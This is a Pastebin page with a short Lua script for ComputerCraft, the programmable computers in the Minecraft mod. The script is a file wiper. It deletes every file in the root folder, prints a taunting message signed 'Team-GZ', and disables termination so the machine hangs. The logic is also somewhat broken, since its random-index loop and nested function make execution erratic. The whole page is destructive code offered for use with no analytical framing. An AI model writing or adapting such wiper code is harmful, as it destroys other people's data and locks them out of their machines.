Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local tbl = fs.list("")
- while true do
- local rnd = math.random(1,1000000)
- if tbl[rnd] == "rom" then
- table.remove(tbl,tonumber(rnd))
- function main()
- for i,v in pairs(tbl) do
- fs.delete(v)
- end
- term.clear()
- term.setCursorPos(1,1)
- print("Well, your files are gone :)")
- print("Enjoy your new computer!")
- print("From Team-GZ")
- os.pullEvent = os.pullEventRaw
- while true do
- sleep(100)
- end
- end
- main()
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement